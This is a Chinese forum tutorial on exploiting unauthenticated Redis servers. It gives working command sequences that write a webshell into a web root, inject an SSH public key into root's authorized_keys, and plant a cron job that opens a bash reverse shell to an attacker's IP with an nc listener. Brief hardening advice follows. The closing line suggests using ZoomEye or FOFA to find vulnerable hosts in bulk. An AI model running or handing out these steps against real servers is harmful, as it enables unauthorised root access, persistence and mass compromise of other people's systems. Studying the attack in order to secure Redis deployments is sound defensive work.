本文来自:i春秋社区
0x01 Redis简介
redis是一个key-value型数据库,信息以键对应值的关系存储在内存中,当然可以把其存储至硬盘上。项目中使用redis做任务队列的存储器可以很容易实现分布式,另外也开始流行使用redis作为session的存储器来替换传统的文件方式。在默认情况下,Redis会绑定在 0.0.0.0:6379,这样将会将 Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis的数据。
redis的配置中,有以下几个关键的点:
dir,指定的是redis的“工作路径”,之后生成的RDB和AOF文件都会存储在这里。
dbfilename,RDB文件名,默认为“dump.rdb”
appendonly,是否开启AOF
appendfilename,AOF文件名,默认为“appendonly.aof”
appendfsync,AOF备份方式:always、everysec、no
0x02 Redis之WebShell
如果服务器存在web项目,并且你知道了系统路径,我们就可以通过如下方法来获取该服务器的webshell。
即我们可以将dir设置为web目录/usr/share/nginx/html/,而dbfilename为文件名1.shell,再执行save或bgsave,则我们就可以在web目录下写入一个webshell。
0x03 Redis之SSH
攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法,可以成功在 Redis 服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
首先在本地生产公私钥文件:
$ssh-keygen –t rsa
然后将公钥写入 foo.txt 文件
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt
再连接 Redis 写入文件
$ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit
$ redis-cli -h 192.168.1.11
$ 192.168.1.11:6379> config set dir /root/.ssh/
OK
$ 192.168.1.11:6379> config get dir
1) "dir"
2) "/root/.ssh"
$ 192.168.1.11:6379> config set dbfilename "authorized_keys"
OK
$ 192.168.1.11:6379> save
OK
这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:
$ ssh –i id_rsa [email]root@192.168.1.xxx
即可远程利用自己的私钥登录该服务器。
当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤。
0x04 Redis之计划任务
/var/spool/cron linux机器下默认的计划任务,开启cron的时候,linux会定时去执行里面的任务,文件名为用户名
2 redis 设置dbfilename 到上面可以直接反弹shell回来
利用方式如下:
echo -e "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/xxx.xxx.xx.120/2333 0>&1\n\n"|redis-cli -h 42.121.237.xx -x set 1
redis-cli -h 42.121.237.23
42.121.237.23:6379> config set dir /var/spool/cron
OK
42.121.237.23:6379> config set dbfilename root
OK
42.121.237.23:6379> save
OK
然后本机nc -lvv 2333
这种方式简单粗暴明了,连提权都省了~
具体案例参见:https://www.secpulse.com/archives/49962.html
0x05 安全建议
1.配置bind选项,限定可以连接Redis服务器的IP,修改 Redis 的默认端口6379。
2.配置认证,也就是AUTH,设置密码,密码会以明文方式保存在Redis配置文件中。
3.配置rename-command 配置项 “RENAME_CONFIG”,这样即使存在未授权访问,也能够给攻击者使用config 指令加大难度。
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如config。
参考来源:
https://www.secpulse.com/archives/5357.html
https://www.secpulse.com/archives/40406.html
http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
如何批量查找那??大家可以利用钟馗之眼fofa等搜索器!!】
更多安全技术、精品好文、白帽黑客大佬尽在:http://bbs.ichunqiu.com/portal.php